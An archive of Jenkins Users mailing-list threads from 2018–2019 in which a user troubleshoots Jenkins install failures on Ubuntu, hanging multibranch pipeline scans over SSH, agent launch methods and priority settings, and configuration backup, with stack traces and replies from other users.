This is bizarre. I'm running Ubuntu 16.04 using the default JRE. This did 
not happen on earlier versions of Jenkins that were running in Docker 
images - I had to remove Docker for VPN reasons.

I'm basically off the air at this point. Did I just miss a plugin or do 
something silly?

TIA,
Randall

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/cf306a8d-14c2-4ebc-9173-3ddeab0a1020%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Trying to install 2.164 on Ubuntu - Failing

[Randall Becker]

Solved my own problem. Rebooted. Looks like the initial run of Jenkins 
cannot do Multibranch Pipelines, but after a restart, thinks become sane.

On Wednesday, April 24, 2019 at 9:53:00 AM UTC-4, Randall Becker wrote:
>
> I'm getting the following messages immediately after install.
>
> Apr 24, 2019 1:48:06 PM 
> hudson.ExtensionFinder$GuiceFinder$FaultTolerantScope$1 error
> INFO: Failed to instantiate optional component 
> com.cloudbees.hudson.plugins.folder.properties.FolderCredentialsProvider$FolderCredentialsProperty$DescriptorImpl;
>  
> skipping
>
> on Ubuntu 16.04. This seems to be preventing the Multibranch Pipeline 
> plugin configuration page from opening. It has been an hour since I went to 
> the page. Reloading does nothing.
>
> Help please.
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/c8008a6c-ebe2-40c5-95fd-f2365902d48d%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Trying to install 2.164 on Ubuntu - Failing

[Randall Becker]

I'm getting the following messages immediately after install.

Apr 24, 2019 1:48:06 PM 
hudson.ExtensionFinder$GuiceFinder$FaultTolerantScope$1 error
INFO: Failed to instantiate optional component 
com.cloudbees.hudson.plugins.folder.properties.FolderCredentialsProvider$FolderCredentialsProperty$DescriptorImpl;
 
skipping

on Ubuntu 16.04. This seems to be preventing the Multibranch Pipeline 
plugin configuration page from opening. It has been an hour since I went to 
the page. Reloading does nothing.

Help please.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/6ba5c9ed-3724-4675-9d82-9857fc815d64%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Error after update jenkins version

[Randall Becker]

After upgrading to 2.174, my Jenkins docker image became corrupted and my 
standalone Jenkins configuration in Ubuntu 16.04 does not even bring up the 
configuration page for Multibranch Pipelines. I am suspecting a jar file in 
the distribution is corrupt but cannot prove it. I think the release may be 
DOA. We're now 24 hours into this outage.

On Monday, April 22, 2019 at 7:58:42 AM UTC-4, Dimas Putro wrote:
>
> I got this error after I update my jenkins version, 
>
> Apr 22, 2019 11:45:13 AM hudson.ExpressionFactory2$JexlExpression evaluate
> WARNING: Caught exception evaluating: action.iconClassName != null ? 
> action.iconClassName + ' icon-md' : action.iconFileName in /jenkins/view/
> All/job/Ansible%20Command/. Reason: java.lang.reflect.
> InvocationTargetException
> java.lang.reflect.InvocationTargetException
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at sun.reflect.NativeMethodAccessorImpl.invoke(
> NativeMethodAccessorImpl.java:62)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(
> DelegatingMethodAccessorImpl.java:43)
> at java.lang.reflect.Method.invoke(Method.java:498)
> at org.apache.commons.jexl.util.PropertyExecutor.execute(
> PropertyExecutor.java:125)
> at org.apache.commons.jexl.util.introspection.
> UberspectImpl$VelGetterImpl.invoke(UberspectImpl.java:314)
> at org.apache.commons.jexl.parser.ASTArrayAccess.evaluateExpr(
> ASTArrayAccess.java:185)
> at org.apache.commons.jexl.parser.ASTIdentifier.execute(ASTIdentifier.
> java:75)
> at org.apache.commons.jexl.parser.ASTReference.execute(ASTReference.
> java:83)
> at org.apache.commons.jexl.parser.ASTReference.value(ASTReference.java
> :57)
> at org.apache.commons.jexl.parser.ASTExpression.value(ASTExpression.
> java:54)
> at org.apache.commons.jexl.parser.ASTTernaryNode.value(ASTTernaryNode.
> java:41)
> at org.apache.commons.jexl.parser.ASTExpression.value(ASTExpression.
> java:54)
> at org.apache.commons.jexl.parser.ASTExpressionExpression.value(
> ASTExpressionExpression.java:56)
> at org.apache.commons.jexl.ExpressionImpl.evaluate(ExpressionImpl.java
> :80)
> at hudson.ExpressionFactory2$JexlExpression.evaluate(
> ExpressionFactory2.java:74)
> at org.apache.commons.jelly.tags.core.CoreTagLibrary$3.run(
> CoreTagLibrary.java:134)
> at org.apache.commons.jelly.impl.ScriptBlock.run(ScriptBlock.java:95)
> at org.apache.commons.jelly.TagSupport.invokeBody(TagSupport.java:161)
> at org.kohsuke.stapler.jelly.IncludeTag.doTag(IncludeTag.java:121)
> at org.apache.commons.jelly.impl.TagScript.run(TagScript.java:269)
> at org.apache.commons.jelly.TagSupport.invokeBody(TagSupport.java:161)
> at org.apache.commons.jelly.tags.core.ForEachTag.doTag(ForEachTag.java
> :150)
> at org.apache.commons.jelly.impl.TagScript.run(TagScript.java:269)
> at org.apache.commons.jelly.impl.ScriptBlock.run(ScriptBlock.java:95)
> at org.apache.commons.jelly.tags.core.CoreTagLibrary$2.run(
> CoreTagLibrary.java:105)
> at org.kohsuke.stapler.jelly.CallTagLibScript.run(CallTagLibScript.
> java:120)
> at org.apache.commons.jelly.tags.core.CoreTagLibrary$2.run(
> CoreTagLibrary.java:105)
> at org.kohsuke.stapler.jelly.JellyViewScript.run(JellyViewScript.java:
> 95)
> at org.kohsuke.stapler.jelly.IncludeTag.doTag(IncludeTag.java:147)
> at org.apache.commons.jelly.impl.TagScript.run(TagScript.java:269)
> at org.apache.commons.jelly.impl.ScriptBlock.run(ScriptBlock.java:95)
> at org.kohsuke.stapler.jelly.CallTagLibScript$1.run(CallTagLibScript.
> java:99)
> at org.apache.commons.jelly.tags.define.InvokeBodyTag.doTag(
> InvokeBodyTag.java:91)
> at org.apache.commons.jelly.impl.TagScript.run(TagScript.java:269)
> at org.kohsuke.stapler.jelly.ReallyStaticTagLibrary$1.run(
> ReallyStaticTagLibrary.java:99)
> at org.apache.commons.jelly.tags.core.CoreTagLibrary$2.run(
> CoreTagLibrary.java:105)
> at org.kohsuke.stapler.jelly.CallTagLibScript.run(CallTagLibScript.
> java:120)
> at org.apache.commons.jelly.impl.ScriptBlock.run(ScriptBlock.java:95)
> at org.kohsuke.stapler.jelly.CallTagLibScript$1.run(CallTagLibScript.
> java:99)
> at org.apache.commons.jelly.tags.define.InvokeBodyTag.doTag(
> InvokeBodyTag.java:91)
> at org.apache.commons.jelly.impl.TagScript.run(TagScript.java:269)
> at org.apache.commons.jelly.tags.core.CoreTagLibrary$1.run(
> CoreTagLibrary.java:98)
> at org.apache.commons.jelly.impl.ScriptBlock.run(ScriptBlock.java:95)
> at org.apache.commons.jelly.tags.core.CoreTagLibrary$2.run(
> CoreTagLibrary.java:105)
> at org.kohsuke.stapler.jelly.CallTagLibScript.run(CallTagLibScript.
> java:120)
> at org.apache.commons.jelly.impl.ScriptBlock.run(ScriptBlock.java:95)
> at org.apache.commons.jelly.tags.core.CoreTagLibrary$2.run(
> CoreTagLibrary.java:105)
> at org.kohsuke.stapler.jelly.JellyViewScript.run(JellyViewScript.java:
> 95)
> at 

Resurrecting a Backup to SCM structure - with Jenkinsfile and Agents

[Randall Becker]

Hi All,

Following best practices, we moved our entire build structure to a 
per-project Jenkinsfile and agents where the various parts of builds 
happen. The Jenkinsfiles are stored in the git repositories involved and we 
are using multi-branch projects. All that is working file.

Our issue is that our Jenkins runs inside docker and the node 
configuration, certificates, and Jenkins system configuration is not yet 
stored in an SCM environment. We want that to happen so that we can restore 
Jenkins quickly from scratch if something happens, without having to go 
through the trouble of recreating the Agent structure from scratch and 
redefining the multibranch jobs. We've had a newbie or two (me as an 
example) accidentally blow out the docker config and lost our Jenkins Agent 
structure.

It seems like the Configuration-as-Code plugin might work, but it is hard 
to get a sense that this can configure Jenkins in its entirety or whether 
we can take the existing configuration and import/convert it to that 
plugin, and how config moves in and out of it.

Any Sense of this?

Thanks,
Randall

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/dba1ce13-1770-4733-9c8f-f170a443b2b3%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Setting the underlying platform job priority while running on Linux

[Randall Becker]

FWIW, I add the following Prefix under Advanced in the node definition: 
nice nice sh -c '
and ' as a suffix. That seemed to do the trick and slow down the whining.

On Wednesday, December 5, 2018 at 9:40:53 AM UTC-5, Randall Becker wrote:
>
> I have a situation where the JVM running remoting.jar needs to run at a 
> lower system priority than the default for the user. Basically, in Linux 
> terms, I would like to run the equivalent of 'nice' as part of either the 
> job or preferably the Node's agent startup. I cannot allocate a dedicated 
> machine for the builds and I've got users whining about the load.
>
> Any ideas?
>
> Thanks,
> Randall
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/6b9958fc-a7e5-4737-b05f-9bc0d76bd515%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Standard way to configure Linux Slave

[Randall Becker]

Launching agents via SSH is a reasonable approach also for normalizing 
configuration of agents across multiple platforms.

My company's build environment uses multiple Linux flavours, a Windows 
client (configured using OpenSSH), and a NonStop - all as agents, with a 
Controller running under Ubuntu. Each host has a specific jenkins user its 
own unique key pair (with passphrases) to cut down on accidental 
configuration errors.

Hope this helps.
Randall

On Wednesday, December 5, 2018 at 6:26:44 AM UTC-5, Jeff Thompson wrote:
>
> For situations where it is reasonable, I agree with Slide’s 
> recommendation: #1 Launch agents via ssh
>
> It’s a good implementation, fairly straightforward,  and I think it leads 
> to better reliability and fewer broken connections. I don’t have any data 
> on that, though, so I’d also love to hear from others with experience using 
> the different mechanisms.
>
> Jeff Thompson
>
> On Dec 4, 2018, at 1:48 PM, Slide > 
> wrote:
>
> FYI, even though the term is used in some places in the docs and code 
> (because it's hard to change everything), "agent" is the requested term 
> instead of "slave". That being said, I prefer the "Launch agents via ssh", 
> I've never had a problem with reconnection after a reboot of the agent 
> computer.
>
> On Tue, Dec 4, 2018 at 1:44 PM > wrote:
>
>> Any inputs on this please?
>>
>> On Tuesday, December 4, 2018 at 9:03:37 AM UTC-5, gotvi...@gmail.com 
>> wrote:
>>>
>>> What is the best or standard way to configure a Linux slave to the 
>>> Master?  These are the options that comes while we try to do the 
>>> configuration
>>>
>>> 1. Launch agent agents via ssh
>>> 2. Launch agent via Java Web Start
>>> 3. Launch agent via execution of command on master
>>> 4. Let Jenkins control this Windows slave as a Windows machine
>>>
>>> Our requirement is if the Slave VM reboots, we want the Jenkins service 
>>> to start automatically and the slave to connect to master without any 
>>> interruption.  Please suggest.
>>>
>>
>> -- 
>> You received this message because you are subscribed to the Google Groups 
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an 
>> email to jenkinsci-use...@googlegroups.com .
>> To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/jenkinsci-users/415b5e85-89ca-4461-8bd9-b8450aacfeeb%40googlegroups.com
>>  
>> 
>> .
>> For more options, visit https://groups.google.com/d/optout.
>>
>
>
> -- 
> Website: http://earl-of-code.com
>
> -- 
> You received this message because you are subscribed to the Google Groups 
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an 
> email to jenkinsci-use...@googlegroups.com .
> To view this discussion on the web visit 
> https://groups.google.com/d/msgid/jenkinsci-users/CAPiUgVf3jygh7vmqSrBbf079FmKnCOFgO7H1W3xR%3DeLoSE4bnw%40mail.gmail.com
>  
> 
> .
> For more options, visit https://groups.google.com/d/optout.
>
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/e3e132b7-e022-419d-a98e-e5f701097e91%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Setting the underlying platform job priority while running on Linux

[Randall Becker]

I have a situation where the JVM running remoting.jar needs to run at a 
lower system priority than the default for the user. Basically, in Linux 
terms, I would like to run the equivalent of 'nice' as part of either the 
job or preferably the Node's agent startup. I cannot allocate a dedicated 
machine for the builds and I've got users whining about the load.

Any ideas?

Thanks,
Randall

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/78725f8f-2e43-4a23-9401-39878e400b82%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Multibranch Pipeline Scan Hangs

[Randall Becker]

The good news is that after the rebuild and downloading a new docker image, 
things seem to be working fine now. I guess it's possible the image was not 
properly downloaded but there was no indication of problems at the time. 
Thanks for the shoulder to cry on.

On Wednesday, November 21, 2018 at 11:20:56 AM UTC-5, Randall Becker wrote:
>
> The answer to that is no. SSH only. I rebuilt the docker image badly (last 
> time I listen to the Internet on this one) - so I'm starting from scratch.
>
> On Thursday, November 15, 2018 at 10:10:45 PM UTC-5, Mark Waite wrote:
>>
>> My working bitbucket.org multibranch Pipeline configurations include:
>>
>>- Bitbucket branch source (username / password authentication)
>>- Git branch source using https (username / password authentication)
>>- Git branch source using ssh (ed25519 private key with passphrase)
>>
>> Will your corporate standards allow use of a username and password over 
>> https?  If so, does that behave any better in your environment?
>>
>> Mark Waite
>>
>> On Thu, Nov 15, 2018 at 7:28 PM Randall Becker  
>> wrote:
>>
>>> I have 2 idle executors on every node, so that's not it. The hang is 
>>> definitely waiting on a response from git fetch or git ls-remote depending 
>>> on the situation. Version of git on the Ubuntu VM is 2.13, so that's not 
>>> particularly recent, but sufficient for the function being executed. I 
>>> cannot get this to work on any instance of any VM I have. Of note, there 
>>> are no specific instructions other than the basic setup of the job (monitor 
>>> the repo, run ls-remote, and finish). Perhaps with some instructions it 
>>> might behave differently. When I interrupt the job, the job name is "null", 
>>> which is suspect and wrong.
>>>
>>> I've gone to non-multibranch pipelines, as assume that this particular 
>>> plugin is DOA - sorry about the opinion, but I cannot make it work, despite 
>>> all efforts, so will not recommend it. If there is a working configuration, 
>>> please describe it, and I'll try to make it work as specified. $DAYJOB 
>>> forces me away from this approach.
>>>
>>> On Thursday, November 15, 2018 at 6:09:26 PM UTC-5, Meg Watson wrote:
>>>>
>>>> I’ll take a stab...How many executors do you have on the master and 
>>>> agent?  You may be hanging waiting for an executor to be available to run 
>>>> the pipeline.  I think I made this mistake once, had too few executors. 
>>>>
>>>> Meg
>>>
>>> -- 
>>> You received this message because you are subscribed to the Google 
>>> Groups "Jenkins Users" group.
>>> To unsubscribe from this group and stop receiving emails from it, send 
>>> an email to jenkinsci-use...@googlegroups.com.
>>> To view this discussion on the web visit 
>>> https://groups.google.com/d/msgid/jenkinsci-users/a2538d76-8460-40bf-861c-57bff009df27%40googlegroups.com
>>>  
>>> <https://groups.google.com/d/msgid/jenkinsci-users/a2538d76-8460-40bf-861c-57bff009df27%40googlegroups.com?utm_medium=email_source=footer>
>>> .
>>> For more options, visit https://groups.google.com/d/optout.
>>>
>>
>>
>> -- 
>> Thanks!
>> Mark Waite
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/92bf67c6-3622-443b-bbd2-db107643f3ac%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Multibranch Pipeline Scan Hangs

[Randall Becker]

The answer to that is no. SSH only. I rebuilt the docker image badly (last 
time I listen to the Internet on this one) - so I'm starting from scratch.

On Thursday, November 15, 2018 at 10:10:45 PM UTC-5, Mark Waite wrote:
>
> My working bitbucket.org multibranch Pipeline configurations include:
>
>- Bitbucket branch source (username / password authentication)
>- Git branch source using https (username / password authentication)
>- Git branch source using ssh (ed25519 private key with passphrase)
>
> Will your corporate standards allow use of a username and password over 
> https?  If so, does that behave any better in your environment?
>
> Mark Waite
>
> On Thu, Nov 15, 2018 at 7:28 PM Randall Becker  > wrote:
>
>> I have 2 idle executors on every node, so that's not it. The hang is 
>> definitely waiting on a response from git fetch or git ls-remote depending 
>> on the situation. Version of git on the Ubuntu VM is 2.13, so that's not 
>> particularly recent, but sufficient for the function being executed. I 
>> cannot get this to work on any instance of any VM I have. Of note, there 
>> are no specific instructions other than the basic setup of the job (monitor 
>> the repo, run ls-remote, and finish). Perhaps with some instructions it 
>> might behave differently. When I interrupt the job, the job name is "null", 
>> which is suspect and wrong.
>>
>> I've gone to non-multibranch pipelines, as assume that this particular 
>> plugin is DOA - sorry about the opinion, but I cannot make it work, despite 
>> all efforts, so will not recommend it. If there is a working configuration, 
>> please describe it, and I'll try to make it work as specified. $DAYJOB 
>> forces me away from this approach.
>>
>> On Thursday, November 15, 2018 at 6:09:26 PM UTC-5, Meg Watson wrote:
>>>
>>> I’ll take a stab...How many executors do you have on the master and 
>>> agent?  You may be hanging waiting for an executor to be available to run 
>>> the pipeline.  I think I made this mistake once, had too few executors. 
>>>
>>> Meg
>>
>> -- 
>> You received this message because you are subscribed to the Google Groups 
>> "Jenkins Users" group.
>> To unsubscribe from this group and stop receiving emails from it, send an 
>> email to jenkinsci-use...@googlegroups.com .
>> To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/jenkinsci-users/a2538d76-8460-40bf-861c-57bff009df27%40googlegroups.com
>>  
>> <https://groups.google.com/d/msgid/jenkinsci-users/a2538d76-8460-40bf-861c-57bff009df27%40googlegroups.com?utm_medium=email_source=footer>
>> .
>> For more options, visit https://groups.google.com/d/optout.
>>
>
>
> -- 
> Thanks!
> Mark Waite
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/39ee5d82-1265-48e1-9287-8a59a684ecd4%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Multibranch Pipeline Scan Hangs

[Randall Becker]

I have 2 idle executors on every node, so that's not it. The hang is 
definitely waiting on a response from git fetch or git ls-remote depending 
on the situation. Version of git on the Ubuntu VM is 2.13, so that's not 
particularly recent, but sufficient for the function being executed. I 
cannot get this to work on any instance of any VM I have. Of note, there 
are no specific instructions other than the basic setup of the job (monitor 
the repo, run ls-remote, and finish). Perhaps with some instructions it 
might behave differently. When I interrupt the job, the job name is "null", 
which is suspect and wrong.

I've gone to non-multibranch pipelines, as assume that this particular 
plugin is DOA - sorry about the opinion, but I cannot make it work, despite 
all efforts, so will not recommend it. If there is a working configuration, 
please describe it, and I'll try to make it work as specified. $DAYJOB 
forces me away from this approach.

On Thursday, November 15, 2018 at 6:09:26 PM UTC-5, Meg Watson wrote:
>
> I’ll take a stab...How many executors do you have on the master and agent? 
>  You may be hanging waiting for an executor to be available to run the 
> pipeline.  I think I made this mistake once, had too few executors. 
>
> Meg

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/a2538d76-8460-40bf-861c-57bff009df27%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

Re: Multibranch Pipeline Scan Hangs

[Randall Becker]

I will continue to investigate. I am wondering whether there might be 
something associated with running Jenkins in docker with Controller/Agent 
structure.

On Thursday, November 15, 2018 at 5:18:31 PM UTC-5, Mark Waite wrote:
>
> I created a multibranch Pipeline with bitbucket.org as the source using 
> Git as the branch source with a passphrase protected ed25519 private key.  
> It scans and builds as expected.
>
> I can't duplicate the problem that you're describing.  Before you spend 
> the time to submit a bug report, you may want to duplicate the bug in a 
> different environment, just in case there is something specific in your 
> environment that is different than my attempt to duplicate the problem.
>
> Bug reports for the project are submitted to 
> https://issues.jenkins-ci.org/ .
>
> On Thu, Nov 15, 2018 at 3:11 PM Mark Waite  > wrote:
>
>> I created a multibranch pipeline with bitbucket.org as the source using 
>> the Bitbucket Branch Source plugin.  That plugin prompted for a username / 
>> password rather than a private key.  It won't accept a private key.  I 
>> believe it uses REST APII calls to reduce the overhead of checking for new 
>> branches and for changes in the existing branches.  Since the REST API is 
>> based on https, it needs username / password rather than a private key.
>>
>> The Bitbucket Branch Source plugin provides additional capabilities 
>> because it is aware of Bitbucket, rather than being limited to those 
>> components which are generic git operations.
>>
>> Is there a reason you're not using the Bitbucket Branch Source plugin, 
>> rather than using the Git branch source?
>>
>> On Thu, Nov 15, 2018 at 12:24 PM Randall Becker > > wrote:
>>
>>> There is also similar hang at fetch when the Jenkinsfile SCM is used. It 
>>> does appear that the credentials may not be supplied properly but there is 
>>> no indication that this is the case. I'm dropping back to Simple Pipelines 
>>> without SCM, sadly. This rather makes the whole point rather moot. Where 
>>> can I raise a defect?
>>>
>>> On Thursday, November 15, 2018 at 1:43:02 PM UTC-5, Randall Becker wrote:
>>>>
>>>> Hi Mark,
>>>>
>>>> Yes, using a private key. This is a bitbucket.org site, which by my 
>>>> own company's policy prevents me from using a passphrase-less credential. 
>>>> The same key-pair is used elsewhere in other jobs in the same Jenkins 
>>>> without problems. The job is a multibranch job, not a simple pipeline. A 
>>>> simple pipeline (as tiny as I can get, as follows), works with this 
>>>> credential set:
>>>>
>>>> node('maven') {
>>>> git branch: 'development', credentialsId: 'idalias', url: 
>>>> 'g...@bitbucket.org:MYURL.git'
>>>> }
>>>>
>>>> So this is looking increasingly like an issue with Pipeline: 
>>>> Multibranch.
>>>>
>>>> Cheers,
>>>> Randall
>>>>
>>>> On Thursday, November 15, 2018 at 12:38:43 PM UTC-5, Mark Waite wrote:
>>>>>
>>>>> I assume from your description that you're using a private key with a 
>>>>> passphrase as the credential in the Pipeline job definition.  I'm also 
>>>>> assuming it is a simple Pipeline job rather than a multibranch Pipeline.
>>>>>
>>>>> Does the same behavior happen if you use a private key which does not 
>>>>> have a passphrase?
>>>>>
>>>>> Does the same behavior happen if you use a multibranch Pipeline job 
>>>>> rather than a simple Pipeline job?
>>>>>
>>>>> Mark Waite
>>>>>
>>>>> On Thu, Nov 15, 2018 at 9:18 AM Randall Becker  
>>>>> wrote:
>>>>>
>>>>>> The original post showed the entire list of refs. No issue requiring 
>>>>>> a timeout above 3 seconds actually. 10 minutes will make no difference. 
>>>>>> When run from Jenkins from a shell command, the result comes back in 
>>>>>> seconds. I don't think this is a performance issue. It is seeming to be 
>>>>>> a 
>>>>>> problem in the plugin.
>>>>>>
>>>>>> On Thursday, November 15, 2018 at 11:07:20 AM UTC-5, Ivan Fernandez 
>>>>>> Calvo wrote:
>>>>>>>
>>>>>>> also, check the value of the TIMEOUT property, execute this code in 
>>>>>>> the Jenkins scrip

Re: Multibranch Pipeline Scan Hangs

[Randall Becker]

There is also similar hang at fetch when the Jenkinsfile SCM is used. It 
does appear that the credentials may not be supplied properly but there is 
no indication that this is the case. I'm dropping back to Simple Pipelines 
without SCM, sadly. This rather makes the whole point rather moot. Where 
can I raise a defect?

On Thursday, November 15, 2018 at 1:43:02 PM UTC-5, Randall Becker wrote:
>
> Hi Mark,
>
> Yes, using a private key. This is a bitbucket.org site, which by my own 
> company's policy prevents me from using a passphrase-less credential. The 
> same key-pair is used elsewhere in other jobs in the same Jenkins without 
> problems. The job is a multibranch job, not a simple pipeline. A simple 
> pipeline (as tiny as I can get, as follows), works with this credential set:
>
> node('maven') {
> git branch: 'development', credentialsId: 'idalias', url: 
> 'g...@bitbucket.org:MYURL.git'
> }
>
> So this is looking increasingly like an issue with Pipeline: Multibranch.
>
> Cheers,
> Randall
>
> On Thursday, November 15, 2018 at 12:38:43 PM UTC-5, Mark Waite wrote:
>>
>> I assume from your description that you're using a private key with a 
>> passphrase as the credential in the Pipeline job definition.  I'm also 
>> assuming it is a simple Pipeline job rather than a multibranch Pipeline.
>>
>> Does the same behavior happen if you use a private key which does not 
>> have a passphrase?
>>
>> Does the same behavior happen if you use a multibranch Pipeline job 
>> rather than a simple Pipeline job?
>>
>> Mark Waite
>>
>> On Thu, Nov 15, 2018 at 9:18 AM Randall Becker  
>> wrote:
>>
>>> The original post showed the entire list of refs. No issue requiring a 
>>> timeout above 3 seconds actually. 10 minutes will make no difference. When 
>>> run from Jenkins from a shell command, the result comes back in seconds. I 
>>> don't think this is a performance issue. It is seeming to be a problem in 
>>> the plugin.
>>>
>>> On Thursday, November 15, 2018 at 11:07:20 AM UTC-5, Ivan Fernandez 
>>> Calvo wrote:
>>>>
>>>> also, check the value of the TIMEOUT property, execute this code in the 
>>>> Jenkins script console, the default value is 10 minutes, you can increase 
>>>> it by setting the property in your command line
>>>>
>>>> System.getProperty(org.jenkinsci.plugins.gitclient.Git.class.getName() 
>>>> + ".timeOut")
>>>>
>>>> If you have tons of tags on your repos try to not discover tags.
>>>>
>>>> El jueves, 15 de noviembre de 2018, 16:51:53 (UTC+1), Randall Becker 
>>>> escribió:
>>>>>
>>>>> Hi All,
>>>>>
>>>>> I am trying to move over to Pipelines from Freestyle and am 
>>>>> experiencing a hang during the initial scan for branches at ls-remote in 
>>>>> the Multibranch Pipeline Scan. A few symptoms:
>>>>>
>>>>>
>>>>>1. When using a freestyle project, with the same credentials and 
>>>>>URL, there is no issue.
>>>>>2. When using ls-remote from the command line with the same 
>>>>>credentials and URL, there is no issue.
>>>>>3. Git is available to Jenkins, but I tried providing a full path 
>>>>>- no change.
>>>>>4. The project is minimal with no actual actions defined yet.
>>>>>5. I am on Jenkins 2.138.2 and the latest plugins. 
>>>>>
>>>>> On interrupt, here is the stack trace:
>>>>>
>>>>> [Thu Nov 15 15:35:46 GMT 2018] Starting branch indexing...
>>>>>  > /usr/bin/git --version # timeout=10
>>>>> using GIT_SSH to set credentials Randall's Credentials
>>>>>  > /usr/bin/git ls-remote --symref 
>>>>> g...@bitbucket.org:X-my-private-url # timeout=10
>>>>>
>>>>> ERROR: [Thu Nov 15 15:40:45 GMT 2018] Could not update folder level 
>>>>> actions from source b9692b8b-7465-43bf-b59c-0103ba223697
>>>>> java.lang.InterruptedException
>>>>>   at java.lang.Object.wait(Native Method)
>>>>>   at java.lang.Object.wait(Object.java:502)
>>>>>   at java.lang.UNIXProcess.waitFor(UNIXProcess.java:395)
>>>>>   at hudson.Proc$LocalProc.join(Proc.java:324)
>>>>>   at hudson.Proc.joinWithTimeout(Proc.java:170)
>>>>>   at 
>>>>> org.jenkinsci.plugins.gitclient.Cli

Re: Multibranch Pipeline Scan Hangs

[Randall Becker]

Hi Mark,

Yes, using a private key. This is a bitbucket.org site, which by my own 
company's policy prevents me from using a passphrase-less credential. The 
same key-pair is used elsewhere in other jobs in the same Jenkins without 
problems. The job is a multibranch job, not a simple pipeline. A simple 
pipeline (as tiny as I can get, as follows), works with this credential set:

node('maven') {
git branch: 'development', credentialsId: 'idalias', url: 
'g...@bitbucket.org:MYURL.git'
}

So this is looking increasingly like an issue with Pipeline: Multibranch.

Cheers,
Randall

On Thursday, November 15, 2018 at 12:38:43 PM UTC-5, Mark Waite wrote:
>
> I assume from your description that you're using a private key with a 
> passphrase as the credential in the Pipeline job definition.  I'm also 
> assuming it is a simple Pipeline job rather than a multibranch Pipeline.
>
> Does the same behavior happen if you use a private key which does not have 
> a passphrase?
>
> Does the same behavior happen if you use a multibranch Pipeline job rather 
> than a simple Pipeline job?
>
> Mark Waite
>
> On Thu, Nov 15, 2018 at 9:18 AM Randall Becker  > wrote:
>
>> The original post showed the entire list of refs. No issue requiring a 
>> timeout above 3 seconds actually. 10 minutes will make no difference. When 
>> run from Jenkins from a shell command, the result comes back in seconds. I 
>> don't think this is a performance issue. It is seeming to be a problem in 
>> the plugin.
>>
>> On Thursday, November 15, 2018 at 11:07:20 AM UTC-5, Ivan Fernandez Calvo 
>> wrote:
>>>
>>> also, check the value of the TIMEOUT property, execute this code in the 
>>> Jenkins script console, the default value is 10 minutes, you can increase 
>>> it by setting the property in your command line
>>>
>>> System.getProperty(org.jenkinsci.plugins.gitclient.Git.class.getName() + 
>>> ".timeOut")
>>>
>>> If you have tons of tags on your repos try to not discover tags.
>>>
>>> El jueves, 15 de noviembre de 2018, 16:51:53 (UTC+1), Randall Becker 
>>> escribió:
>>>>
>>>> Hi All,
>>>>
>>>> I am trying to move over to Pipelines from Freestyle and am 
>>>> experiencing a hang during the initial scan for branches at ls-remote in 
>>>> the Multibranch Pipeline Scan. A few symptoms:
>>>>
>>>>
>>>>1. When using a freestyle project, with the same credentials and 
>>>>URL, there is no issue.
>>>>2. When using ls-remote from the command line with the same 
>>>>credentials and URL, there is no issue.
>>>>3. Git is available to Jenkins, but I tried providing a full path - 
>>>>no change.
>>>>4. The project is minimal with no actual actions defined yet.
>>>>5. I am on Jenkins 2.138.2 and the latest plugins. 
>>>>
>>>> On interrupt, here is the stack trace:
>>>>
